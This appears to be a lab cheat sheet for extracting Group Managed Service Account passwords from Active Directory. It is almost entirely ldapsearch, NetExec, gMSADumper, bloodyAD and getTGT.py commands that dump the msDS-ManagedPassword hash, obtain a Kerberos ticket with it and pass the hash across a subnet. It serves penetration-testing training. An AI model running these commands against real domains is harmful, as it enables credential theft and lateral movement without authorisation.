Group Managed Service Accounts store their current managed password in the msDS-ManagedPassword attribute. Only principals allowed by msDS-GroupMSAMembership should be able to retrieve it. If we control one of those principals, or we have equivalent read rights, we can extract the managed password material and use the gMSA like a normal account.
Enumerate gMSA objects
ldapsearch -LLL -x -H ldap://10.10.10.200 -D "ootw.local\\student" -w 'student' -b "DC=ootw,DC=local" '(objectClass=msDS-GroupManagedServiceAccount)' sAMAccountName dNSHostName servicePrincipalName msDS-GroupMSAMembership
NetExec gMSA dump
nxc ldap 10.10.10.200 -u 'WS01$' -p 'MachinePassword' --gmsa
gMSADumper
python3 gMSADumper.py -d ootw.local -u 'WS01$' -p 'MachinePassword'
bloodyAD read
bloodyAD -d ootw.local -u 'WS01$' -p 'MachinePassword' --host 10.10.10.200 get search --filter '(objectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword
Kerberos auth with machine context
KRB5CCNAME=ws01.ccache nxc ldap 10.10.10.200 -k --gmsa
Use recovered NTLM hash to get a TGT
getTGT.py -hashes :GMSA_NTLM_HASH ootw.local/'gmsa-web$'
export KRB5CCNAME=gmsa-web.ccache
klist
Validate service access
nxc smb 10.10.10.0/24 -u 'gmsa-web$' -H GMSA_NTLM_HASH
nxc ldap 10.10.10.200 -u 'gmsa-web$' -H GMSA_NTLM_HASH
Check SPNs owned by the gMSA
ldapsearch -LLL -x -H ldap://10.10.10.200 -D "ootw.local\\student" -w 'student' -b "DC=ootw,DC=local" '(sAMAccountName=gmsa-web$)' servicePrincipalName memberOf
Notes
gMSA passwords are long and automatically rotated, so we normally use the extracted NTLM/AES material directly instead of trying to crack it.
The key question is not only which gMSA exists, but which computers or groups are allowed to retrieve it.